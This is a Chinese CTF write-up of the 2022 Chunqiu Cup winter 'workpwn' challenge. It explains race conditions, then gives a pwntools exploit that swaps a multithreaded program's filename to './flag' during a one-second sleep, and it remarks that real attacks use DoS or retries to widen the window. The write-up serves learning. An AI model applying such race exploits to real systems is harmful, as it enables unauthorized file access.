2022春秋杯冬季赛pwn-workpwn——WP

前言

一开始完全没得思路,还以为其中几个不能溢出到返回地址的溢出是漏洞点,后来看完赛后大佬们的WP才知道是条件竞争,虽然这次没打出什么名次,但是确实涨了不少姿势。继续努力。

条件竞争

下面是一个很好的例子,能够很好的解释条件竞争。

1.0 银行提现

当我们在手机端进行提现操作时,账户余额为500元,向服务器发送提现500元的请求,提现完毕后账户余额应当清零。那么如果在我提现成功和它进行清零事件的间隙时间里,我再次发送出提现500元的请求会发生什么呢?条件竞争利用成功的结果就是多了500大洋。

题解

分析代码,发现是一个写入,读出,删除的数据的程序。然后再往更深处分析,发现写入的时候可以指定文件,也就是改变bss段的一个数据,后面就是打开这个文件并写入,但是在我们读取的时候发现最后还是会将那些文件的名字改为原来的那个,由于存在多线程执行过程,并且新创建的函数会暂停1s,这是出题故意留下的,否则这个函数一会就执行完了,我们来不及进行条件竞争的改写,现实环境一般是通过dos来降低受害机的执行速度,或者多次尝试,碰运气。

下面给出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

from pwn import *
context(arch="amd64",os="linux")
context.log_level = "debug"

io1 = process('./pwn')

io1.sendline(str(3))
io1.sendline(str(1))
io1.recv()

sleep(0.1)
io1.sendline(str(1))
io1.sendline(str(1))
io1.recvuntil("Input Name : ")
io1.sendline(b'./flag'+2*b'\x00')
sleep(1)
io1.recv()